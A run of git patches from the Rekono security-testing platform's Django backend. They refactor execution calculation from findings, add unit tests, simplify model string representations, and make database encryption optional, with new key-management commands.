+118,11 @@ def test_process_task(self) -> None: self._test_process_task(intensity) for configuration_id, group in [ (e[0], e[group_index]) - for e in expected_executions + for e in self.expected_executions if e[group_index] is None ] + [ (e[0], e[group_index]) - for e in expected_executions + for e in self.expected_executions if e[group_index] is not None ]: self._validate_execution( @@ -103,6 +136,3 @@ def test_process_task(self) -> None: Status.REQUESTED if group is not None else Status.SKIPPED, ) execution_id += 1 - - def test_calculate_executions(self) -> None: - pass diff --git a/src/backend/tests/test_targets.py b/src/backend/tests/test_targets.py index 815a1a7fe..1182dc536 100644 --- a/src/backend/tests/test_targets.py +++ b/src/backend/tests/test_targets.py @@ -109,6 +109,5 @@ def setUp(self) -> None: self._setup_project() def _get_object(self) -> Target: - return Target.objects.create( - **{**target1, "project": self.project, "type": TargetType.PRIVATE_IP} - ) + self._setup_target() + return self.target From a7d56ec32fc701c95efec13d0fe5de64b682ac17 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Fri, 8 Dec 2023 10:38:33 +0100 Subject: [PATCH 064/141] Unit tests for executions generation from findings and user-provided parameters --- src/backend/framework/queues.py | 118 ++++++++++++--------- src/backend/tests/test_queues.py | 172 +++++++++++++++++++++++++------ 2 files changed, 208 insertions(+), 82 deletions(-) diff --git a/src/backend/framework/queues.py b/src/backend/framework/queues.py index 0106a3d35..dacde1aa1 100644 --- a/src/backend/framework/queues.py +++ b/src/backend/framework/queues.py @@ -1,3 +1,4 @@ +import copy import logging from typing import Any, Dict, List @@ -37,6 +38,23 @@ def enqueue(self, **kwargs: Any) -> Job: def consume(self, **kwargs: Any) -> Any: pass + def _get_findings_by_type( + self, findings: List[Finding] + ) -> Dict[InputType, List[Finding]]: + findings_by_type = {} + for finding in findings: + input_type = finding.get_input_type() + if input_type not in findings_by_type: + findings_by_type[input_type] = [finding] + else: + findings_by_type[input_type].append(finding) + return dict( + sorted( + findings_by_type.items(), + key=lambda i: len(i[0].get_related_input_types()), + ) + ) + def _calculate_executions( self, tool: Tool, @@ -48,21 +66,10 @@ def _calculate_executions( ) -> List[Dict[int, List[BaseInput]]]: executions = [{0: []}] input_types_used = set() - findings_by_type = { - t: [f for f in findings if f.get_input_type() == t] - for t in InputType.objects.all() - } - findings_by_type = dict( - sorted( - findings_by_type.items(), - key=lambda i: len(i[0].get_related_input_types()), - ) - ) - for index, input_type, source in ( - [(0, t, list(f)) for t, f in findings_by_type.items() if f] - if findings_by_type - else [] - ) + [ + findings_by_type = self._get_findings_by_type(findings) + for index, input_type, source in [ + (0, t, list(f)) for t, f in (findings_by_type or {}).items() if f + ] + [ (i + 1, None, p) for i, p in enumerate( [ @@ -79,45 +86,54 @@ def _calculate_executions( input_type = source[0].get_input_type() if input_type in input_types_used: continue - argument_inputs = Input.objects.filter( - argument__tool=tool, type=input_type - ).order_by("order") - filtered_base_inputs = [ - base_input - for base_input in source - if len([i for i in argument_inputs if base_input.filter(i)]) > 0 - ] + tool_input = ( + Input.objects.filter(argument__tool=tool, type=input_type) + .order_by("order") + .first() + ) + if not tool_input: + continue + filtered_base_inputs = [bi for bi in source if bi.filter(tool_input)] if not filtered_base_inputs: continue - argument_input = argument_inputs.first().argument - related_input_types = input_type.get_related_input_types() - for execution in executions: - if not execution.get(index): - execution[index] = [] - related_base_inputs = filtered_base_inputs.copy() + related_input_types = [ + i for i in input_type.get_related_input_types() if i in findings_by_type + ] + for execution_index, execution in enumerate(copy.deepcopy(executions)): + if not executions[execution_index].get(index): + executions[execution_index][index] = [] + base_inputs = filtered_base_inputs.copy() if index == 0 and related_input_types: - related_base_inputs = [] - for existing_base_input in execution[index]: - existing_input_type = base_input.get_input_type() - if existing_input_type in related_input_types: - related_base_inputs.extend( - [ - f - for f in filtered_base_inputs - if getattr(f, existing_input_type.name.lower()) - == existing_base_input - ] - ) - if not related_base_inputs: + base_inputs = [] + for related_input_type in related_input_types: + base_inputs.extend( + bi + for bi in filtered_base_inputs + if getattr(bi, related_input_type.name.lower()) + in execution[index] + and bi not in base_inputs + ) + if not base_inputs: continue - if argument_input.multiple: - execution[index].extend(related_base_inputs) - input_types_used.add(input_type) + input_types_used.add(input_type) + if tool_input.argument.multiple: + try: + executions[execution_index][index].extend(base_inputs) + except Exception as ex: + print(executions) + print() + print(base_inputs) + print() + print(execution_index) + input(index) + raise ex else: - original_execution = execution.copy() - input_types_used.add(input_type) - execution[index].append(related_base_inputs[0]) - for base_input in related_base_inputs[1:]: - executions.append(original_execution) - executions[-1][index].append(base_input) + original_execution = copy.deepcopy(execution) + executions[execution_index][index].append(base_inputs[0]) + for base_input in base_inputs[1:]: + executions.append(copy.deepcopy(original_execution)) + if not executions[-1].get(index): + executions[-1][index] = [base_input] + else: + executions[-1][index].append(base_input) return executions diff --git a/src/backend/tests/test_queues.py b/src/backend/tests/test_queues.py index dba53bbb8..1a10f4700 100644 --- a/src/backend/tests/test_queues.py +++ b/src/backend/tests/test_queues.py @@ -1,45 +1,155 @@ +import copy +from typing import List + from executions.enums import Status from executions.models import Execution -from findings.enums import HostOS -from findings.models import Host -from framework.queues import BaseQueue +from findings.enums import HostOS, PathType, PortStatus, Protocol +from findings.framework.models import Finding +from findings.models import Host, Path, Port +from parameters.models import InputTechnology, InputVulnerability from processes.models import Process, Step +from target_ports.models import TargetPort from tasks.models import Task from tests.framework import QueueTest from tools.enums import Intensity from tools.models import Configuration -# class BaseQueueTest(QueueTest): -# def setUp(self) -> None: -# super().setUp() -# self._setup_fake_tool() -# def test_calculate_executions_findings(self) -> None: -# pass +class BaseQueueTest(QueueTest): + number_of_hosts = 10 + number_of_ports_per_host = 3 + number_of_paths_per_port = 2 + + def setUp(self) -> None: + super().setUp() + self._setup_fake_tool() + + def _setup_multiple_findings(self, create_ports_and_paths: bool) -> List[Finding]: + findings = [] + for host_index in range(1, self.number_of_hosts + 1): + new_host = self._create_finding( + Host, + {"address": f"10.10.10.{host_index}", "os_type": HostOS.LINUX}, + self.execution, + ) + setattr(self, f"host{host_index}", new_host) + findings.append(new_host) + if create_ports_and_paths: + for port_index in range(1, self.number_of_ports_per_host + 1): + new_port = self._create_finding( + Port, + { + "host": new_host, + "port": int(f"{host_index}{port_index}"), + "status": PortStatus.OPEN, + "protocol": Protocol.TCP, + "service": "http", + }, + self.execution, + ) + setattr(self, f"port{host_index}{port_index}", new_port) + findings.append(new_port) + for path_index in range(1, self.number_of_paths_per_port + 1): + new_path = self._create_finding( + Path, + { + "port": new_port, + "path": f"/{host_index}{port_index}{path_index}", + "status": 200, + "type": PathType.ENDPOINT, + }, + self.execution, + ) + setattr( + self, f"path{host_index}{port_index}{path_index}", new_path + ) + findings.append(new_path) + return findings -# def test_calculate_executions_findings_same_type(self) -> None: -# number_of_hosts = 10 -# for host in range(1, number_of_hosts): -# setattr( -# self, -# f"host{host}", -# self._create_finding( -# Host, -# {"address": f"10.10.10.{host}", "os_type": HostOS.LINUX}, -# self.execution, -# ), -# ) -# findings = [getattr(self, f"host{h}") for h in range(1, number_of_hosts)] -# result = self.queue._calculate_executions( -# self.fake_tool, findings, [], [], [], [] -# ) -# self.assertEqual( -# [{0: [getattr(self, f"host{h}")]} for h in range(1, number_of_hosts)], -# result, -# ) + def test_calculate_executions_from_findings(self) -> None: + findings = self._setup_multiple_findings(True) + executions = self.queue._calculate_executions( + self.fake_tool, findings, [], [], [], [] + ) + expected = [] + last_expected = [] + for host_index in range(1, self.number_of_hosts + 1): + item = {0: [getattr(self, f"host{host_index}")]} + for port_index in range(1, self.number_of_ports_per_host + 1): + item[0].append(getattr(self, f"port{host_index}{port_index}")) + new_item = copy.deepcopy(item) + new_item[0].append(getattr(self, f"path{host_index}11")) + expected.append(new_item) + for port_index in range(1, self.number_of_ports_per_host + 1): + for path_index in range(1, self.number_of_paths_per_port + 1): + if port_index == 1 and path_index == 1: + continue + new_item = copy.deepcopy(item) + new_item[0].append( + getattr(self, f"path{host_index}{port_index}{path_index}") + ) + last_expected.append(new_item) + self.assertEqual(expected + last_expected, executions) -# def test_calculate_executions_user_provided_entities(self) -> None: -# pass + def test_calculate_executions_from_only_hosts(self) -> None: + findings = self._setup_multiple_findings(False) + executions = self.queue._calculate_executions( + self.fake_tool, findings, [], [], [], [] + ) + self.assertEqual( + [ + {0: [getattr(self, f"host{h}")]} + for h in range(1, self.number_of_hosts + 1) + ], + executions, + ) + + def test_calculate_executions_user_provided_entities(self) -> None: + self._setup_task_user_provided_entities() + number_of_entities = 5 + target_ports = [self.target_port] + vulnerabilities = [self.input_vulnerability] + technologies = [self.input_technology] + for index in range(1, number_of_entities + 1): + target_ports.append( + TargetPort.objects.create( + target=self.target, port=self.target_port.port + index + ) + ) + vulnerabilities.append( + InputVulnerability.objects.create( + target=self.target, cve=self.input_vulnerability.cve + f"{index}" + ) + ) + technologies.append( + InputTechnology.objects.create( + target=self.target, + name=self.input_technology.name + f"{index}", + version=self.input_technology.version, + ) + ) + executions = self.queue._calculate_executions( + self.fake_tool, + [], + target_ports, + vulnerabilities, + technologies, + [self.wordlist], + ) + expected = [] + last_exected = [] + base_item = {0: [], 1: target_ports, 4: [self.wordlist]} + for vulnerability in vulnerabilities: + item = copy.deepcopy(base_item) + item[2] = [vulnerability] + new_item = copy.deepcopy(item) + new_item[3] = [technologies[0]] + expected.append(dict(sorted(copy.deepcopy(new_item).items()))) + for technology in technologies[1:]: + new_item = copy.deepcopy(item) + new_item[3] = [technology] + last_exected.append(dict(sorted(copy.deepcopy(new_item).items()))) + self.assertEqual(expected + last_exected, executions) class TasksQueueTest(QueueTest): From ea084b9fd0e2cc10baab196ed4385f4e343f66e4 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Fri, 8 Dec 2023 10:49:02 +0100 Subject: [PATCH 065/141] Fix errors after restructuring --- src/backend/tests/framework.py | 2 +- src/backend/tests/platforms/test_nvd_nist.py | 1 - 2 files changed, 1 insertion(+), 2 deletions(-) diff --git a/src/backend/tests/framework.py b/src/backend/tests/framework.py index b6434f1c9..c5e4d5eb2 100644 --- a/src/backend/tests/framework.py +++ b/src/backend/tests/framework.py @@ -349,7 +349,7 @@ def setUp(self) -> None: self.task = Task.objects.create( target=self.target, configuration=self.configuration, - intensity=Intensity.NORMAL, + intensity=IntensityEnum.NORMAL, ) self.execution = Execution.objects.create( task=self.task, configuration=self.configuration diff --git a/src/backend/tests/platforms/test_nvd_nist.py b/src/backend/tests/platforms/test_nvd_nist.py index 0c453efc1..89ed6cfd2 100644 --- a/src/backend/tests/platforms/test_nvd_nist.py +++ b/src/backend/tests/platforms/test_nvd_nist.py @@ -5,7 +5,6 @@ from findings.models import Vulnerability from platforms.nvd_nist import NvdNist from tests.framework import RekonoTest -from tests.platforms.nvd_nist.mock import not_found, success_cvss_2, success_cvss_3 success = { "result": { From c80e78632e86fef52412b2632d9ef78c3dd2b9bb Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Fri, 8 Dec 2023 11:22:12 +0100 Subject: [PATCH 066/141] Improve __str__ methods in models --- src/backend/api_tokens/models.py | 2 +- src/backend/executions/models.py | 5 +--- src/backend/findings/models.py | 30 ++++---------------- src/backend/framework/models.py | 3 ++ src/backend/parameters/models.py | 3 +- src/backend/platforms/defect_dojo/models.py | 9 ++++++ src/backend/platforms/telegram_app/models.py | 2 +- src/backend/settings/models.py | 8 ------ src/backend/target_ports/models.py | 2 +- src/backend/tasks/models.py | 7 +---- src/backend/tools/models.py | 8 +++--- 11 files changed, 27 insertions(+), 52 deletions(-) diff --git a/src/backend/api_tokens/models.py b/src/backend/api_tokens/models.py index de1a47033..2f99b45d1 100644 --- a/src/backend/api_tokens/models.py +++ b/src/backend/api_tokens/models.py @@ -32,5 +32,5 @@ def generate_key(cls): Token.generate_key() if ApiToken.objects.filter(key=key).exists() else key ) - def __str__(self): + def __str__(self) -> str: return f"{self.user.__str__()} - {self.name}" diff --git a/src/backend/executions/models.py b/src/backend/executions/models.py index eb3bfa370..8df029009 100644 --- a/src/backend/executions/models.py +++ b/src/backend/executions/models.py @@ -37,10 +37,7 @@ def __str__(self) -> str: Returns: str: String value that identifies this instance """ - if self.task.process: - return f"{self.task.__str__()} - {self.configuration.__str__()}" - else: - return self.task.__str__() + return f"{self.task.__str__()}{f' - {self.configuration.__str__()}' if self.task.process else ''}" @classmethod def get_project_field(cls) -> str: diff --git a/src/backend/findings/models.py b/src/backend/findings/models.py index 7e004430d..9b701c8d2 100644 --- a/src/backend/findings/models.py +++ b/src/backend/findings/models.py @@ -146,9 +146,7 @@ def defect_dojo(self) -> Dict[str, Any]: } def __str__(self) -> str: - values = [self.host.__str__()] if self.host else [] - values.append(str(self.port)) - return " - ".join(values) + return f"{f'{self.host.__str__()} - ' if self.host else ''}{self.port}" class Path(Finding): @@ -204,9 +202,7 @@ def defect_dojo(self) -> Dict[str, Any]: } def __str__(self) -> str: - values = [self.port.__str__()] if self.port else [] - values.append(str(self.path)) - return " - ".join(values) + return f"{f'{self.port.__str__()} - ' if self.port else ''}{self.path}" class Technology(Finding): @@ -268,9 +264,7 @@ def defect_dojo(self) -> Dict[str, Any]: } def __str__(self) -> str: - values = [self.port.__str__()] if self.port else [] - values.append(str(self.name)) - return " - ".join(values) + return f"{f'{self.port.__str__()} - ' if self.port else ''}{self.name}" class Credential(Finding): @@ -377,15 +371,7 @@ def defect_dojo(self) -> Dict[str, Any]: } def __str__(self) -> str: - values = [] - if self.technology: - values = [self.technology.__str__()] - elif self.port: - values = [self.port.__str__()] - values.append(self.name) - if self.cve: - values.append(self.cve) - return " - ".join(values) + return f"{f'{(self.technology or self.port).__str__()} - ' if self.technology or self.port else ''}{self.name}{f' - {self.cve}' if self.cve else ''}" class Exploit(Finding): @@ -438,10 +424,4 @@ def __str__(self) -> str: Returns: str: String value that identifies this instance """ - values = [] - if self.vulnerability: - values += [self.vulnerability.__str__()] - elif self.technology: - values += [self.technology.__str__()] - values.append(self.title) - return " - ".join(values) + return f"{f'{(self.vulnerability or self.technology).__str__()} - ' if self.vulnerability or self.technology else ''}{self.title}" diff --git a/src/backend/framework/models.py b/src/backend/framework/models.py index 72bfdda61..fdb80da6c 100644 --- a/src/backend/framework/models.py +++ b/src/backend/framework/models.py @@ -44,6 +44,9 @@ def _get_related_class(self, package: str, name: str) -> Any: cls = getattr(module, f"Base{type[0].upper() + type[1:].lower()}") return cls + def __str__(self) -> str: + return self.__class__.__name__ + class BaseEncrypted(BaseModel): class Meta: diff --git a/src/backend/parameters/models.py b/src/backend/parameters/models.py index 85a077510..5924bde7c 100644 --- a/src/backend/parameters/models.py +++ b/src/backend/parameters/models.py @@ -57,8 +57,7 @@ def __str__(self) -> str: Returns: str: String value that identifies this instance """ - base = f"{self.target.__str__()} - {self.name}" - return f"{base} - {self.version}" if self.version else base + return f"{self.target.__str__()} - {self.name}{f' - {self.version}' if self.version else ''}" @classmethod def get_project_field(cls) -> str: diff --git a/src/backend/platforms/defect_dojo/models.py b/src/backend/platforms/defect_dojo/models.py index 5d119ba53..c4acbe33e 100644 --- a/src/backend/platforms/defect_dojo/models.py +++ b/src/backend/platforms/defect_dojo/models.py @@ -43,6 +43,9 @@ class DefectDojoSettings(BaseEncrypted): _encrypted_field = "_api_token" + def __str__(self) -> str: + return self.server + class DefectDojoSync(BaseModel): project = models.OneToOneField( @@ -60,6 +63,9 @@ class DefectDojoSync(BaseModel): null=True, ) + def __str__(self) -> str: + return f"{self.project.__str__()} - {self.product_type_id} - {self.product_id}{f'- {self.engagement_id}' if self.engagement_id else ''}" + @classmethod def get_project_field(cls) -> str: return "project" @@ -76,6 +82,9 @@ class DefectDojoTargetSync(BaseModel): validators=[MinValueValidator(1), MaxValueValidator(999999999)] ) + def __str__(self) -> str: + return f"{self.defect_dojo_sync.__str__()} - {self.target.target} - {self.engagement_id}" + @classmethod def get_project_field(cls) -> str: return "defect_dojo_sync__project" diff --git a/src/backend/platforms/telegram_app/models.py b/src/backend/platforms/telegram_app/models.py index d276e926c..2e4701efb 100644 --- a/src/backend/platforms/telegram_app/models.py +++ b/src/backend/platforms/telegram_app/models.py @@ -49,4 +49,4 @@ def is_auditor(self) -> bool: ) def __str__(self) -> str: - return self.user.__str__() + return f"{self.user.__str__()} - {self.chat_id}" diff --git a/src/backend/settings/models.py b/src/backend/settings/models.py index ebe360788..0f0973cf6 100644 --- a/src/backend/settings/models.py +++ b/src/backend/settings/models.py @@ -10,11 +10,3 @@ class Settings(BaseModel): max_uploaded_file_mb = models.IntegerField( default=512, validators=[MinValueValidator(128), MaxValueValidator(3072)] ) - - def __str__(self) -> str: - """Instance representation in text format. - - Returns: - str: String value that identifies this instance - """ - return self.__class__.__name__ diff --git a/src/backend/target_ports/models.py b/src/backend/target_ports/models.py index eb6cdcc1a..f882aad6d 100644 --- a/src/backend/target_ports/models.py +++ b/src/backend/target_ports/models.py @@ -77,7 +77,7 @@ def __str__(self) -> str: Returns: str: String value that identifies this instance """ - return f"{self.target.target} - {self.port}" + return f"{self.target.__str__()} - {self.port}" @classmethod def get_project_field(cls) -> str: diff --git a/src/backend/tasks/models.py b/src/backend/tasks/models.py index 4a9f0af23..c3f0aab68 100644 --- a/src/backend/tasks/models.py +++ b/src/backend/tasks/models.py @@ -67,12 +67,7 @@ def __str__(self) -> str: Returns: str: String value that identifies this instance """ - value = f"{self.target.__str__()} - " - if self.process: - value += self.process.__str__() - elif self.configuration: - value += self.configuration.__str__() - return value + return f"{self.target.__str__()} - {(self.process or self.configuration).__str__()}" @classmethod def get_project_field(cls) -> str: diff --git a/src/backend/tools/models.py b/src/backend/tools/models.py index 5480e3db2..3c8640b16 100644 --- a/src/backend/tools/models.py +++ b/src/backend/tools/models.py @@ -97,7 +97,7 @@ def __str__(self) -> str: Returns: str: String value that identifies this instance """ - return f"{self.tool.name} - {IntensityEnum(self.value).name}" + return f"{self.tool.__str__()} - {IntensityEnum(self.value).name}" class Configuration(BaseModel): @@ -122,7 +122,7 @@ def __str__(self) -> str: Returns: str: String value that identifies this instance """ - return f"{self.tool.name} - {self.name}" + return f"{self.tool.__str__()} - {self.name}" class Argument(BaseModel): @@ -146,7 +146,7 @@ def __str__(self) -> str: return f"{self.tool.__str__()} - {self.name}" -class Input(models.Model): +class Input(BaseModel): argument = models.ForeignKey( Argument, related_name="inputs", on_delete=models.CASCADE ) @@ -168,7 +168,7 @@ def __str__(self) -> str: return f"{self.argument.__str__()} - {self.type.__str__()}" -class Output(models.Model): +class Output(BaseModel): configuration = models.ForeignKey( Configuration, related_name="outputs", on_delete=models.CASCADE ) From 3e21f20eab632aedaec0a55cc2676ebe9b431586 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Fri, 8 Dec 2023 11:33:33 +0100 Subject: [PATCH 067/141] Adapt unit tests to latest __str__ changes --- src/backend/tests/platforms/test_telegram.py | 2 +- src/backend/tests/test_findings.py | 20 -------------------- 2 files changed, 1 insertion(+), 21 deletions(-) diff --git a/src/backend/tests/platforms/test_telegram.py b/src/backend/tests/platforms/test_telegram.py index 30478f33b..f10f7afad 100644 --- a/src/backend/tests/platforms/test_telegram.py +++ b/src/backend/tests/platforms/test_telegram.py @@ -33,7 +33,7 @@ class TelegramSettingsTest(ApiTest): class TelegramChatTest(ApiTest): endpoint = "/api/telegram/link/" - expected_str = "admin1@rekono.com" + expected_str = "admin1@rekono.com - 1" cases = [ ApiTestCase( ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], diff --git a/src/backend/tests/test_findings.py b/src/backend/tests/test_findings.py index 45126ecad..1f139ddca 100644 --- a/src/backend/tests/test_findings.py +++ b/src/backend/tests/test_findings.py @@ -218,26 +218,6 @@ def test_str(self) -> None: findings_data[finding.__class__][1], finding.__str__(), ) - for finding_model, new_data, pop_field, expected_str in [ - ( - Vulnerability, - {"port": 1}, - "technology", - "10.10.10.10 - 80 - Test - CVE-2023-1111", - ), - ( - Exploit, - {"technology": 1}, - "vulnerability", - "10.10.10.10 - 80 - WordPress - ReverseShell", - ), - ]: - data = {**self.raw_findings[finding_model], **new_data} - data.pop(pop_field) - self.assertEqual( - expected_str, - self._create_finding(finding_model, data, self.execution3).__str__(), - ) def test_anonymous_access(self) -> None: for _, _, endpoint in findings_data.values(): From 1450b384a6625ae10ddbb4989acca83d53cd27a9 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Fri, 8 Dec 2023 12:24:33 +0100 Subject: [PATCH 068/141] Only encrypt and decrypt database fields when the encryption key is configured, otherwise, Rekono will work with plain values --- .gitignore | 1 - src/backend/api_tokens/serializers.py | 3 +-- src/backend/framework/models.py | 17 ++++++++++++----- src/backend/rekono/config.py | 6 ------ src/backend/security/authentication/api.py | 4 +--- src/backend/security/cryptography/encryption.py | 8 ++++++-- 6 files changed, 20 insertions(+), 19 deletions(-) diff --git a/.gitignore b/.gitignore index bfb2d4b63..567cab7e7 100644 --- a/.gitignore +++ b/.gitignore @@ -162,4 +162,3 @@ rekono-kbx # Temporal ignore src/backend-1.x/ migrations/ -config.yaml diff --git a/src/backend/api_tokens/serializers.py b/src/backend/api_tokens/serializers.py index 1742cb1a8..7a0f4474c 100644 --- a/src/backend/api_tokens/serializers.py +++ b/src/backend/api_tokens/serializers.py @@ -1,7 +1,6 @@ from typing import Any from api_tokens.models import ApiToken -from rekono.settings import CONFIG from rest_framework.serializers import ModelSerializer from security.cryptography.hashing import hash @@ -20,7 +19,7 @@ class Meta: def save(self, **kwargs: Any) -> ApiToken: plain_key = ApiToken.generate_key() - self.validated_data["key"] = hash(f"{plain_key}:{CONFIG.encryption_key}") + self.validated_data["key"] = hash(plain_key) api_token = super().save(**kwargs) api_token.key = plain_key return api_token diff --git a/src/backend/framework/models.py b/src/backend/framework/models.py index fdb80da6c..5d8d01541 100644 --- a/src/backend/framework/models.py +++ b/src/backend/framework/models.py @@ -5,7 +5,7 @@ import urllib3 from django.db import models from django.db.models import Q -from rekono.settings import AUTH_USER_MODEL +from rekono.settings import AUTH_USER_MODEL, CONFIG from security.cryptography.encryption import Encryption @@ -52,22 +52,29 @@ class BaseEncrypted(BaseModel): class Meta: abstract = True - _encryption = Encryption() + _encryption = Encryption(CONFIG.encryption_key) if CONFIG.encryption_key else None _encrypted_field = "_secret" @property def secret(self) -> str: return ( - self._encryption.decrypt(getattr(self, self._encrypted_field)) + ( + self._encryption.decrypt(getattr(self, self._encrypted_field)) + if self._encryption + else getattr(self, self._encrypted_field) + ) if hasattr(self, self._encrypted_field) - and getattr(self, self._encrypted_field) else None ) @secret.setter def secret(self, value: str) -> None: if hasattr(self, self._encrypted_field) and value: - setattr(self, self._encrypted_field, self._encryption.encrypt(value)) + setattr( + self, + self._encrypted_field, + self._encryption.encrypt(value) if self._encryption else value, + ) class BaseInput(BaseModel): diff --git a/src/backend/rekono/config.py b/src/backend/rekono/config.py index bb52774a9..e16fc7f0a 100644 --- a/src/backend/rekono/config.py +++ b/src/backend/rekono/config.py @@ -27,12 +27,6 @@ def __init__(self) -> None: self.config_file = self._get_config_file() with self.config_file.open("r") as file: self._config_properties = yaml.safe_load(file) - self.encryption_key = self._get_config(Property.ENCRYPTION_KEY) - if not self.encryption_key: - self.encryption_key = Fernet.generate_key().decode() - self._update_config_in_file( - Property.ENCRYPTION_KEY.value[1], self.encryption_key - ) for property in Property: if not hasattr(self, property.name.lower()) or not getattr( self, property.name.lower() diff --git a/src/backend/security/authentication/api.py b/src/backend/security/authentication/api.py index 6a5672ce9..24f2b2067 100644 --- a/src/backend/security/authentication/api.py +++ b/src/backend/security/authentication/api.py @@ -12,9 +12,7 @@ class ApiAuthentication(TokenAuthentication): model = ApiToken def authenticate_credentials(self, key) -> Tuple[Any, Any]: - user, token = super().authenticate_credentials( - hash(f"{key}:{CONFIG.encryption_key}") - ) + user, token = super().authenticate_credentials(hash(key)) if token.expiration and token.expiration < timezone.now(): raise AuthenticationFailed("API token has expired") return user, token diff --git a/src/backend/security/cryptography/encryption.py b/src/backend/security/cryptography/encryption.py index 9f6b6ce90..eb14c0c1e 100644 --- a/src/backend/security/cryptography/encryption.py +++ b/src/backend/security/cryptography/encryption.py @@ -1,12 +1,16 @@ from cryptography.fernet import Fernet -from rekono.settings import CONFIG class Encryption: - fernet = Fernet(CONFIG.encryption_key.encode()) + def __init__(self, encryption_key: str) -> None: + self.fernet = Fernet(encryption_key.encode()) def encrypt(self, value: str) -> str: return self.fernet.encrypt(value.encode()).decode() def decrypt(self, value: str) -> str: return self.fernet.decrypt(value.encode()).decode() + + @classmethod + def generate_encryption_key(self) -> str: + return self.fernet.generate_key().decode() From ecdded4fa0fb4fb82a8ec2a634a453f72fe5072b Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Fri, 8 Dec 2023 13:34:02 +0100 Subject: [PATCH 069/141] New management commands to handle encryption key in the config file and encrypted data in the database --- .../{unit-testing.yml => unit-tests.yml} | 17 +------- src/backend/framework/models.py | 13 +++--- src/backend/framework/queues.py | 11 +---- src/backend/platforms/defect_dojo/models.py | 2 +- src/backend/rekono/properties.py | 6 +-- .../security/cryptography/encryption.py | 4 +- src/backend/security/management/__init__.py | 1 + .../security/management/commands/__init__.py | 1 + .../management/commands/encryption_key.py | 41 +++++++++++++++++++ .../commands/remove_encryption_key.py | 23 +++++++++++ .../commands/rotate_encryption_key.py | 26 ++++++++++++ .../commands/setup_encryption_key.py | 26 ++++++++++++ 12 files changed, 131 insertions(+), 40 deletions(-) rename .github/workflows/{unit-testing.yml => unit-tests.yml} (55%) create mode 100644 src/backend/security/management/__init__.py create mode 100644 src/backend/security/management/commands/__init__.py create mode 100644 src/backend/security/management/commands/encryption_key.py create mode 100644 src/backend/security/management/commands/remove_encryption_key.py create mode 100644 src/backend/security/management/commands/rotate_encryption_key.py create mode 100644 src/backend/security/management/commands/setup_encryption_key.py diff --git a/.github/workflows/unit-testing.yml b/.github/workflows/unit-tests.yml similarity index 55% rename from .github/workflows/unit-testing.yml rename to .github/workflows/unit-tests.yml index 3fd0311a6..35535dd97 100644 --- a/.github/workflows/unit-testing.yml +++ b/.github/workflows/unit-tests.yml @@ -24,21 +24,6 @@ jobs: sudo apt install redis-server -y sudo systemctl start redis-server - - name: Install Nmap to check its installation - run: sudo apt install nmap -y - - - name: Install Dirsearch to check its installation - run: | - git clone https://github.com/maurosoria/dirsearch.git - ln -s dirsearch/dirsearch.py /usr/local/bin/dirsearch - - - name: Install GitLeaks to check its installation - run: | - wget https://github.com/zricethezav/gitleaks/releases/download/v8.5.1/gitleaks_8.5.1_linux_x64.tar.gz - tar -xvf gitleaks_8.5.1_linux_x64.tar.gz - chmod +x gitleaks - mv gitleaks /usr/local/bin/ - - uses: actions/setup-python@v4 with: python-version: '3.11' @@ -52,4 +37,4 @@ jobs: - name: Check coverage working-directory: src/backend - run: coverage report -m --skip-covered --omit="telegram_bot/*" --fail-under=$REQUIRED_COVERAGE + run: coverage report -m --skip-covered --omit="tests/*" --fail-under=$REQUIRED_COVERAGE diff --git a/src/backend/framework/models.py b/src/backend/framework/models.py index 5d8d01541..4ac85e073 100644 --- a/src/backend/framework/models.py +++ b/src/backend/framework/models.py @@ -6,7 +6,7 @@ from django.db import models from django.db.models import Q from rekono.settings import AUTH_USER_MODEL, CONFIG -from security.cryptography.encryption import Encryption +from security.cryptography.encryption import Encryptor class BaseModel(models.Model): @@ -52,18 +52,19 @@ class BaseEncrypted(BaseModel): class Meta: abstract = True - _encryption = Encryption(CONFIG.encryption_key) if CONFIG.encryption_key else None + _encryptor = Encryptor(CONFIG.encryption_key) if CONFIG.encryption_key else None _encrypted_field = "_secret" @property def secret(self) -> str: return ( ( - self._encryption.decrypt(getattr(self, self._encrypted_field)) - if self._encryption + self._encryptor.decrypt(getattr(self, self._encrypted_field)) + if self._encryptor else getattr(self, self._encrypted_field) ) if hasattr(self, self._encrypted_field) + and getattr(self, self._encrypted_field) else None ) @@ -73,7 +74,7 @@ def secret(self, value: str) -> None: setattr( self, self._encrypted_field, - self._encryption.encrypt(value) if self._encryption else value, + self._encryptor.encrypt(value) if self._encryptor else value, ) @@ -198,7 +199,7 @@ def parse( Returns: Dict[str, Any]: Useful information for tool executions, including accumulated if setted """ - return {} # pragma: no cover + return {} def get_input_type(self) -> Any: from input_types.models import InputType diff --git a/src/backend/framework/queues.py b/src/backend/framework/queues.py index dacde1aa1..1cceda56f 100644 --- a/src/backend/framework/queues.py +++ b/src/backend/framework/queues.py @@ -117,16 +117,7 @@ def _calculate_executions( continue input_types_used.add(input_type) if tool_input.argument.multiple: - try: - executions[execution_index][index].extend(base_inputs) - except Exception as ex: - print(executions) - print() - print(base_inputs) - print() - print(execution_index) - input(index) - raise ex + executions[execution_index][index].extend(base_inputs) else: original_execution = copy.deepcopy(execution) executions[execution_index][index].append(base_inputs[0]) diff --git a/src/backend/platforms/defect_dojo/models.py b/src/backend/platforms/defect_dojo/models.py index c4acbe33e..98765e596 100644 --- a/src/backend/platforms/defect_dojo/models.py +++ b/src/backend/platforms/defect_dojo/models.py @@ -44,7 +44,7 @@ class DefectDojoSettings(BaseEncrypted): _encrypted_field = "_api_token" def __str__(self) -> str: - return self.server + return self.server if self.server else super().__str__() class DefectDojoSync(BaseModel): diff --git a/src/backend/rekono/properties.py b/src/backend/rekono/properties.py index b12fb67c4..f76041597 100644 --- a/src/backend/rekono/properties.py +++ b/src/backend/rekono/properties.py @@ -8,11 +8,7 @@ class Property(Enum): FRONTEND_URL = ("RKN_FRONTEND_URL", "frontend.url", "https://127.0.0.1") ROOT_PATH = ("RKN_ROOT_PATH", "rootpath", None) SECRET_KEY = ("RKN_SECRET_KEY", "security.secret-key", generate_random_value(3000)) - ENCRYPTION_KEY = ( - "RKN_ENCRYPTION_KEY", - "security.encryption-key", - None, - ) + ENCRYPTION_KEY = (None, "security.encryption-key", None) 